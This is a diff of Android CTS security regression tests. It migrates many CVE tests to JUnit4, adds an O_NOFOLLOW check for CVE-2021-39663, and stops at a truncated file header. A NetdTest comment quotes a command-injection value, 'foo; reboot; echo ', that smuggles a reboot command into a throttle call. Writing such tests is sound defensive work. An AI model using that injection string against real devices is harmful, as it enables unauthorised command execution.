diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_39663.java b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
new file mode 100644
index 0000000..0add1bd
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.system.OsConstants.F_GETFL;
+import static android.system.OsConstants.O_NOFOLLOW;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.MediaStore;
+import android.system.ErrnoException;
+import android.system.Os;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_39663 extends StsExtraBusinessLogicTestCase {
+
+ @Test
+ @AsbSecurityTest(cveBugId = 200682135)
+ public void testPocCVE_2021_39663() {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ ContentResolver contentResolver = context.getContentResolver();
+ try {
+ Uri uri = contentResolver.insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI,
+ new ContentValues());
+ ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "rw");
+ assumeNotNull(pfd);
+ FileDescriptor fd = pfd.getFileDescriptor();
+ int flags = Os.fcntlInt(fd, F_GETFL, 0);
+ pfd.close();
+ contentResolver.delete(uri, null, null);
+ assumeTrue("Unable to read file status flags", flags > 0);
+ assertEquals("Vulnerable to b/200682135!! O_NOFOLLOW flag not used.", O_NOFOLLOW,
+ flags & O_NOFOLLOW);
+ } catch (ErrnoException | IOException e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
index 3022b6ce..2386053 100644
--- a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
+++ b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
@@ -18,7 +18,7 @@
import android.content.Context;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import java.security.KeyStore;
import java.security.cert.Certificate;
@@ -32,7 +32,13 @@
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.X509TrustManager;
-public class ConscryptIntermediateVerificationTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ConscryptIntermediateVerificationTest extends StsExtraBusinessLogicTestCase {
private X509Certificate[] loadCertificates(int resource) throws Exception {
CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
@@ -76,6 +82,7 @@
}
@AsbSecurityTest(cveBugId = 26232830)
+ @Test
public void testIntermediateVerification() throws Exception {
X509TrustManager tm = getTrustManager();
X509Certificate[] validChain = loadCertificates(R.raw.intermediate_test_valid);
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
index 26ab802..16c8905 100644
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -19,13 +19,20 @@
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import android.security.cts.R;
-public class DecodeTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class DecodeTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device fails to decode a large, corrupt BMP.
*
@@ -33,8 +40,9 @@
* decode.
*/
@AsbSecurityTest(cveBugId = 34778578)
+ @Test
public void test_android_bug_34778578() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_34778578);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
assertNull(bitmap);
}
@@ -46,8 +54,9 @@
* decode.
*/
@AsbSecurityTest(cveBugId = 67381469)
+ @Test
public void test_android_bug_67381469() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_67381469);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
assertNull(bitmap);
}
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index 5aef702..2559094 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -22,7 +22,7 @@
import android.media.audiofx.PresetReverb;
import android.media.MediaPlayer;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.InstrumentationTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.util.Log;
import java.nio.ByteBuffer;
@@ -31,7 +31,14 @@
import java.util.Arrays;
import java.util.UUID;
-public class EffectBundleTest extends InstrumentationTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class EffectBundleTest extends StsExtraBusinessLogicTestCase {
private static final String TAG = "EffectBundleTest";
private static final int[] INVALID_BAND_ARRAY = {Integer.MIN_VALUE, -10000, -100, -2, -1};
private static final int mValue0 = 9999; //unlikely values. Should not change
@@ -48,6 +55,7 @@
//Testing security bug: 32436341
@AsbSecurityTest(cveBugId = 32436341)
+ @Test
public void testEqualizer_getParamCenterFreq() throws Exception {
if (!hasEqualizer()) {
return;
@@ -58,6 +66,7 @@
//Testing security bug: 32588352
@AsbSecurityTest(cveBugId = 32588352)
+ @Test
public void testEqualizer_getParamCenterFreq_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -67,6 +76,7 @@
//Testing security bug: 32438598
@AsbSecurityTest(cveBugId = 32438598)
+ @Test
public void testEqualizer_getParamBandLevel() throws Exception {
if (!hasEqualizer()) {
return;
@@ -76,6 +86,7 @@
//Testing security bug: 32584034
@AsbSecurityTest(cveBugId = 32584034)
+ @Test
public void testEqualizer_getParamBandLevel_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -85,6 +96,7 @@
//Testing security bug: 32247948
@AsbSecurityTest(cveBugId = 32247948)
+ @Test
public void testEqualizer_getParamFreqRange() throws Exception {
if (!hasEqualizer()) {
return;
@@ -95,6 +107,7 @@
//Testing security bug: 32588756
@AsbSecurityTest(cveBugId = 32588756)
+ @Test
public void testEqualizer_getParamFreqRange_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -105,6 +118,7 @@
//Testing security bug: 32448258
@AsbSecurityTest(cveBugId = 32448258)
+ @Test
public void testEqualizer_getParamPresetName() throws Exception {
if (!hasEqualizer()) {
return;
@@ -114,6 +128,7 @@
//Testing security bug: 32588016
@AsbSecurityTest(cveBugId = 32588016)
+ @Test
public void testEqualizer_getParamPresetName_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -155,6 +170,7 @@
//testing security bug: 32095626
@AsbSecurityTest(cveBugId = 32095626)
+ @Test
public void testEqualizer_setParamBandLevel() throws Exception {
if (!hasEqualizer()) {
return;
@@ -171,6 +187,7 @@
//testing security bug: 32585400
@AsbSecurityTest(cveBugId = 32585400)
+ @Test
public void testEqualizer_setParamBandLevel_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -187,6 +204,7 @@
//testing security bug: 32705438
@AsbSecurityTest(cveBugId = 32705438)
+ @Test
public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
if (!hasEqualizer()) {
return;
@@ -197,6 +215,7 @@
//testing security bug: 32703959
@AsbSecurityTest(cveBugId = 32703959)
+ @Test
public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -207,6 +226,7 @@
//testing security bug: 37563371 (short media)
@AsbSecurityTest(cveBugId = 37563371)
+ @Test
public void testEqualizer_setParamProperties_short() throws Exception {
if (!hasEqualizer()) {
return;
@@ -217,6 +237,7 @@
//testing security bug: 37563371 (long media)
@AsbSecurityTest(cveBugId = 37563371)
+ @Test
public void testEqualizer_setParamProperties_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -227,6 +248,7 @@
//Testing security bug: 63662938
@AsbSecurityTest(cveBugId = 63662938)
+ @Test
public void testDownmix_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
EFFECT_TYPE_DOWNMIX, new int[] { DOWNMIX_PARAM_TYPE });
@@ -243,6 +265,7 @@
//Testing security bug: 63526567
@AsbSecurityTest(cveBugId = 63526567)
+ @Test
public void testEnvironmentalReverb_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
AudioEffect.EFFECT_TYPE_ENV_REVERB, new int[] {
@@ -263,6 +286,7 @@
//Testing security bug: 67647856
@AsbSecurityTest(cveBugId = 67647856)
+ @Test
public void testPresetReverb_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
AudioEffect.EFFECT_TYPE_PRESET_REVERB, new int[] {
@@ -478,36 +502,39 @@
UUID effectType, final int paramCodes[]) throws Exception {
boolean effectFound = false;
- for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
- if (descriptor.type.compareTo(effectType) != 0) continue;
+ AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+ if (descriptors != null) {
+ for (AudioEffect.Descriptor descriptor : descriptors) {
+ if (descriptor.type.compareTo(effectType) != 0) continue;
- effectFound = true;
- AudioEffect ae = null;
- MediaPlayer mp = null;
- try {
- mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
- java.lang.reflect.Constructor ct = AudioEffect.class.getConstructor(
- UUID.class, UUID.class, int.class, int.class);
+ effectFound = true;
+ AudioEffect ae = null;
+ MediaPlayer mp = null;
try {
- ae = (AudioEffect) ct.newInstance(descriptor.type, descriptor.uuid,
- /*priority*/ 0, mp.getAudioSessionId());
- } catch (Exception e) {
- // Not every effect can be instantiated by apps.
- Log.w(TAG, "Failed to create effect " + descriptor.uuid);
- continue;
- }
- java.lang.reflect.Method command = AudioEffect.class.getDeclaredMethod(
- "command", int.class, byte[].class, byte[].class);
- for (int paramCode : paramCodes) {
- executeSetParameter(ae, command, intSize, 0, paramCode);
- executeSetParameter(ae, command, 0, intSize, paramCode);
- }
- } finally {
- if (ae != null) {
- ae.release();
- }
- if (mp != null) {
- mp.release();
+ mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
+ java.lang.reflect.Constructor ct = AudioEffect.class.getConstructor(
+ UUID.class, UUID.class, int.class, int.class);
+ try {
+ ae = (AudioEffect) ct.newInstance(descriptor.type, descriptor.uuid,
+ /*priority*/ 0, mp.getAudioSessionId());
+ } catch (Exception e) {
+ // Not every effect can be instantiated by apps.
+ Log.w(TAG, "Failed to create effect " + descriptor.uuid);
+ continue;
+ }
+ java.lang.reflect.Method command = AudioEffect.class.getDeclaredMethod(
+ "command", int.class, byte[].class, byte[].class);
+ for (int paramCode : paramCodes) {
+ executeSetParameter(ae, command, intSize, 0, paramCode);
+ executeSetParameter(ae, command, 0, intSize, paramCode);
+ }
+ } finally {
+ if (ae != null) {
+ ae.release();
+ }
+ if (mp != null) {
+ mp.release();
+ }
}
}
}
diff --git a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
index 8fe8054..0ceee07 100644
--- a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
+++ b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
@@ -16,7 +16,6 @@
package android.security.cts
-import android.app.Instrumentation
import android.graphics.Rect
import android.os.SystemClock
import android.platform.test.annotations.AsbSecurityTest
@@ -34,8 +33,8 @@
import androidx.test.ext.junit.rules.ActivityScenarioRule
import androidx.test.ext.junit.runners.AndroidJUnit4
import androidx.test.filters.MediumTest
-import androidx.test.platform.app.InstrumentationRegistry
import com.android.compatibility.common.util.PollingCheck
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
import org.junit.After
import org.junit.Assert.assertEquals
import org.junit.Assert.assertNull
@@ -115,8 +114,7 @@
* test code. The third approach requires adding an embedded window, and the code for that test was
* forked to avoid excessive branching.
*/
-class FlagSlipperyTest {
- private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+class FlagSlipperyTest : StsExtraBusinessLogicTestCase {
private lateinit var scenario: ActivityScenario<SlipperyEnterBottomActivity>
private lateinit var windowManager: WindowManager
@@ -132,10 +130,12 @@
val rule = ActivityScenarioRule<SlipperyEnterBottomActivity>(
SlipperyEnterBottomActivity::class.java)
+ constructor() : super()
+
@Before
fun setup() {
scenario = rule.getScenario()
- windowManager = instrumentation.getTargetContext().getSystemService<WindowManager>(
+ windowManager = getInstrumentation().getTargetContext().getSystemService<WindowManager>(
WindowManager::class.java)
setDimensionsToQuarterScreen()
@@ -156,7 +156,7 @@
// ========================== Regular window tests =============================================
private fun addWindow(slipperyWhenAdded: Boolean): View {
- val view = View(instrumentation.targetContext)
+ val view = View(getInstrumentation().targetContext)
scenario.onActivity {
view.setOnTouchListener(OnTouchListener(view))
view.setBackgroundColor(android.graphics.Color.RED)
@@ -220,7 +220,7 @@
private lateinit var mVr: SurfaceControlViewHost
private fun addEmbeddedHostWindow(): SurfaceView {
- val surfaceView = SurfaceView(instrumentation.targetContext)
+ val surfaceView = SurfaceView(getInstrumentation().targetContext)
val surfaceCreated = CountDownLatch(1)
scenario.onActivity {
surfaceView.setZOrderOnTop(true)
@@ -247,7 +247,7 @@
embeddedViewDrawn.countDown()
}
layoutCompleted.set(false)
- val embeddedView = View(instrumentation.targetContext)
+ val embeddedView = View(getInstrumentation().targetContext)
scenario.onActivity {
embeddedView.setOnTouchListener(OnTouchListener(surfaceView))
embeddedView.setBackgroundColor(android.graphics.Color.RED)
@@ -340,7 +340,7 @@
PollingCheck.waitFor {
layoutCompleted.get()
}
- instrumentation.uiAutomation.syncInputTransactions(true /*waitAnimations*/)
+ getInstrumentation().uiAutomation.syncInputTransactions(true /*waitAnimations*/)
}
private fun setDimensionsToQuarterScreen() {
@@ -360,7 +360,7 @@
}
val event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0 /*metaState*/)
event.source = InputDevice.SOURCE_TOUCHSCREEN
- instrumentation.uiAutomation.injectInputEvent(event, true /*sync*/)
+ getInstrumentation().uiAutomation.injectInputEvent(event, true /*sync*/)
}
companion object {
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 60b329f..91e39e8 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -15,6 +15,7 @@
*/
package android.security.cts;
+import android.app.Instrumentation;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -25,14 +26,21 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.security.cts.IIsolatedService;
import android.security.cts.IsolatedService;
-import android.test.AndroidTestCase;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
import com.android.internal.util.ArrayUtils;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import junit.framework.Assert;
+import org.junit.Before;
+import org.junit.After;
-public class IsolatedProcessTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class IsolatedProcessTest {
static final String TAG = IsolatedProcessTest.class.getSimpleName();
private static final long BIND_SERVICE_TIMEOUT = 5000;
@@ -65,15 +73,20 @@
}
};
- @Override
+ private static Instrumentation getInstrumentation() {
+ return InstrumentationRegistry.getInstrumentation();
+ }
+
+ @Before
public void setUp() throws InterruptedException {
mLatch = new CountDownLatch(1);
- Intent serviceIntent = new Intent(mContext, IsolatedService.class);
- mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+ Intent serviceIntent = new Intent(getInstrumentation().getContext(), IsolatedService.class);
+ getInstrumentation().getContext().bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
Assert.assertTrue("Timed out while waiting to bind to isolated service",
mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
}
+ @Test
@AsbSecurityTest(cveBugId = 30202228)
public void testGetCachedServicesFromIsolatedService() throws RemoteException {
String[] cachedServices = mService.getCachedSystemServices();
@@ -83,6 +96,7 @@
}
}
+ @Test
@AsbSecurityTest(cveBugId = 30202228)
public void testGetServiceFromIsolatedService() throws RemoteException {
for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
@@ -92,14 +106,15 @@
}
}
+ @Test
public void testGetProcessIsIsolated() throws RemoteException {
Assert.assertFalse(Process.isIsolated());
Assert.assertTrue(mService.getProcessIsIsolated());
}
- @Override
+ @After
public void tearDown() {
- mContext.unbindService(mServiceConnection);
+ getInstrumentation().getContext().unbindService(mServiceConnection);
}
}
diff --git a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
index b427516..4b8b178 100644
--- a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
@@ -18,16 +18,24 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.media.MediaRecorder;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.util.Log;
import java.io.File;
-public class MediaRecorderInfoLeakTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaRecorderInfoLeakTest extends StsExtraBusinessLogicTestCase {
/**
* b/27855172
*/
+ @Test
@AsbSecurityTest(cveBugId = 27855172)
public void test_cve_2016_2499() throws Exception {
MediaRecorder mediaRecorder = null;
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index c291ee4..08de373 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -139,11 +139,12 @@
// Find the position inside the main activity and outside of the overlays.
FutureTask<Point> clickLocationTask = new FutureTask<>(() -> {
- final int[] viewLocation = new int[2];
+ final int[] contentViewLocation = new int[2];
final View decorView = mActivity.getWindow().getDecorView();
- decorView.getLocationOnScreen(viewLocation);
+ final View contentView = decorView.findViewById(android.R.id.content);
+ contentView.getLocationOnScreen(contentViewLocation);
// Set y position to the center of the view, to make sure it is away from the status bar
- return new Point(viewLocation[0], viewLocation[1] + decorView.getHeight() / 2);
+ return new Point(contentViewLocation[0], contentViewLocation[1] + contentView.getHeight() / 2);
});
mActivity.runOnUiThread(clickLocationTask);
Point viewLocation = clickLocationTask.get(5, TimeUnit.SECONDS);
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index 2ce1610..3ab3bb2 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -16,6 +16,8 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
@@ -24,13 +26,20 @@
import android.graphics.PorterDuff;
import android.graphics.PorterDuffXfermode;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import android.security.cts.R;
-public class Movie33897722 extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class Movie33897722 extends StsExtraBusinessLogicTestCase {
/**
* Verifies that decoding a particular GIF file does not read out out of bounds.
*
@@ -39,6 +48,7 @@
* color map, which would be reading memory that we do not control, and may be uninitialized.
*/
@AsbSecurityTest(cveBugId = 33897722)
+ @Test
public void test_android_bug_33897722() {
// The image has a 10 x 10 frame on top of a transparent background. Only test the
// 10 x 10 frame, since the original bug would never have used uninitialized memory
@@ -47,6 +57,7 @@
}
@AsbSecurityTest(cveBugId = 37662286)
+ @Test
public void test_android_bug_37662286() {
// The image has a background color that is out of range. Arbitrarily test
// the upper left corner. (Most of the image is transparent.)
@@ -62,7 +73,7 @@
int drawWidth, int drawHeight) {
assertTrue(drawWidth <= screenWidth && drawHeight <= screenHeight);
- InputStream exploitImage = mContext.getResources().openRawResource(resId);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId);
Movie movie = Movie.decodeStream(exploitImage);
assertNotNull(movie);
assertEquals(movie.width(), screenWidth);
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
index 4f5754c..135d493 100644
--- a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -16,7 +16,6 @@
package android.security.cts;
-import android.test.AndroidTestCase;
import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.InstrumentationRegistry;
@@ -49,12 +48,23 @@
import android.util.Log;
import android.annotation.Nullable;
import android.platform.test.annotations.AppModeFull;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import static java.lang.Thread.sleep;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
@AppModeFull
-public class NanoAppBundleTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class NanoAppBundleTest extends StsExtraBusinessLogicTestCase {
+ private Context mContext;
private static final String TAG = "NanoAppBundleTest";
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
@@ -72,27 +82,27 @@
}
};
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
+ mContext = getInstrumentation().getContext();
Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
mContext.startService(serviceIntent);
mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
}
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
if (mContext != null) {
Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
mContext.stopService(serviceIntent);
}
- super.tearDown();
}
/**
* b/113527124
*/
@AsbSecurityTest(cveBugId = 77599679)
+ @Test
public void testPoc_cve_2018_9471() throws Exception {
try {
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index c5a9bac..53c05c0 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -18,15 +18,22 @@
import android.platform.test.annotations.AsbSecurityTest;
-import junit.framework.TestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
-public class NativeCodeTest extends TestCase {
+import static org.junit.Assert.*;
+
+@RunWith(AndroidJUnit4.class)
+public class NativeCodeTest extends StsExtraBusinessLogicTestCase {
static {
System.loadLibrary("ctssecurity_jni");
}
@AsbSecurityTest(cveBugId = 22300191)
+ @Test
public void testSysVipc() throws Exception {
assertTrue("Android does not support Sys V IPC, it must "
+ "be removed from the kernel. In the kernel config: "
diff --git a/tests/tests/security/src/android/security/cts/NetdTest.java b/tests/tests/security/src/android/security/cts/NetdTest.java
index 14623fd..463d443 100644
--- a/tests/tests/security/src/android/security/cts/NetdTest.java
+++ b/tests/tests/security/src/android/security/cts/NetdTest.java
@@ -20,13 +20,17 @@
import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
-import junit.framework.TestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import java.lang.Class;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
-public class NetdTest extends TestCase {
+@RunWith(AndroidJUnit4.class)
+public class NetdTest extends StsExtraBusinessLogicTestCase {
/**
* Detect if netd has unsanitized system call in Throttle API.
@@ -34,6 +38,7 @@
* serv.setInterfaceThrottle("foo; reboot; echo ", -1, -1);
*/
@AsbSecurityTest(cveBugId = 5758556)
+ @Test
public void testThrottleSanitization() {
try {
diff --git a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
index f810817..f68c097 100644
--- a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
+++ b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
@@ -16,20 +16,27 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.graphics.SurfaceTexture;
import android.hardware.camera2.params.OutputConfiguration;
import android.os.Parcel;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
import android.util.Size;
import android.view.Surface;
import android.view.TextureView;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
/**
* Verify that OutputConfiguration's fields propagate through parcel properly.
*/
-public class OutputConfigurationTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class OutputConfigurationTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 69683251)
+ @Test
public void testSharedSurfaceOutputConfigurationBasic() throws Exception {
SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID */ 5);
Surface surface = new Surface(outputTexture);
diff --git a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
index 5b4e530..d2d70d8 100644
--- a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
+++ b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
@@ -16,7 +16,8 @@
package android.security.cts;
-import android.test.AndroidTestCase;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
import android.security.cts.R;
@@ -26,13 +27,21 @@
import android.os.Bundle;
import android.os.Parcel;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.File;
import java.lang.reflect.Field;
-public class ParcelableExceptionTest extends AndroidTestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ParcelableExceptionTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 65281159)
+ @Test
public void test_CVE_2017_0871() throws Exception {
String filePath = "/data/system/" + System.currentTimeMillis();
File file = new File(filePath);
diff --git a/tests/tests/security/src/android/security/cts/PutOverflowTest.java b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
index 2bf7a85..4667859 100644
--- a/tests/tests/security/src/android/security/cts/PutOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
@@ -17,10 +17,18 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.lang.reflect.Method;
-public class PutOverflowTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class PutOverflowTest extends StsExtraBusinessLogicTestCase {
+ @Test
@AsbSecurityTest(cveBugId = 22802399)
public void testCrash() throws Exception {
try {
diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
index 8405acc..293200e 100644
--- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
